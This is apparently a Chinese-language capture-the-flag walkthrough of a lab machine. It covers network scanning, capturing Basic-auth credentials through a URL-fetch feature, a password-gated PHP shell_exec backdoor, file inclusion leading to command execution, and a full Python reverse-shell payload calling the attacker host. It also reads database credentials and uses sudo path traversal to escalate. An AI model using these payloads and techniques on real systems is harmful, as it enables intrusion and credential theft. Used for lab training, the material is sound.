目标 IP:192.168.134.146
攻击机:Kali Linux(192.168.134.137)
信息收集
由于该靶机设置为NAT网络,因此得知其归属网段为192.168.134.0/24。使用nmap指令找出该网段内存在的主机。
nmap -sP 192.168.134.0/24 #进行主机扫描
从扫描结果得知一个非本机的主机ip地址:192.168.134.146,遂对该ip地址进行深度端口扫描。
Namp -sV -sC -p- -T4 192.168.134.146
由扫描结果可知80端口上存在一个Web应用(Apache 2.4.62,CentOS操作系统),对该Web进行访问。
渗透过程
1. 初始入口
访问 Web 系统后注册普通账号。进入“网站测试功能”,发现其会向指定 URL 发起请求并返回响应头。

在 Kali 上搭建监听服务,使用python脚本进行监听

使靶机访问 http://192.168.134.137,捕获到请求头中包含:
Authorization: Basic ZnVsa...(Base64)
解码得凭证:fuli:wsGdwWQZTu7U4seseGaG。2. 登录获取高权限,发现管理页面
使用该凭证登录“项目文件查看”和“文件包含测试”。
在当前目录(/var/www/html/api)发现可疑文件 mgmt_page。
访问后提示输入密码,查看源码发现
<?php
// 设置密码
$correct_password_hash = '96e44fa82e5a5263fb92337be422d3eb';
// 检查密码是否正确
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['password'])) {
$input_password = $_GET['password'];
if (strlen($input_password) !== 5) {
$error = "密码长度不正确";
} elseif (md5($input_password) === $correct_password_hash) {
$authenticated = true;
// 如果已认证且传入了cmd参数,执行命令
if (isset($_GET['cmd'])) {
$output = shell_exec($_GET['cmd']);
}
} else {
$error = "密码错误";
}
}
?>
破解md5得明文密码:SOUTH。
3. LFI + RCE 实现命令执行
通过“文件包含测试”功能构造 URL:
/include.php?file=mgmt_page&password=SOUTH&cmd=id
验证命令可执行。随后利用 Python 反弹 Shell:
192.168.134.146/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.134.137%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.sock
et();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)
%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27Kali 上 nc -lvnp 4444 成功反弹Shell。

4. 本地信息收集与 flag1
在 Shell 中执行:

cat /var/www/flag1.txt获得 flag1
同时读取/var/www/html/db.php,获取 MySQL root 密码:bd6d6wEZdTr2QNkk.l。

5. 连接数据库与切换用户
连接数据库:
mysql -u root -p bd6d6wEZdTr2QNkk.l查询 users 表,得到 admin 密码:9eaf9317aac50c955575334a93d0b9c。

MD5 破解得明文:chispa。
尝试 su benjamin,输入密码 chispa 成功切换用户。

6. 获取 flag2
读取家目录文件:
cat /home/benjamin/flag2.txt获得 flag2:
flag{8437b8760a7a4717ad4e41568a9301e}
7. sudo 路径遍历提权拿 flag3
执行 sudo -l,发现:
(ALL) NOPASSWD: /bin/cat /root/notes/*利用路径遍历绕过限制:
sudo /bin/cat /root/notes/../../flag3.txt成功读取 flag3:
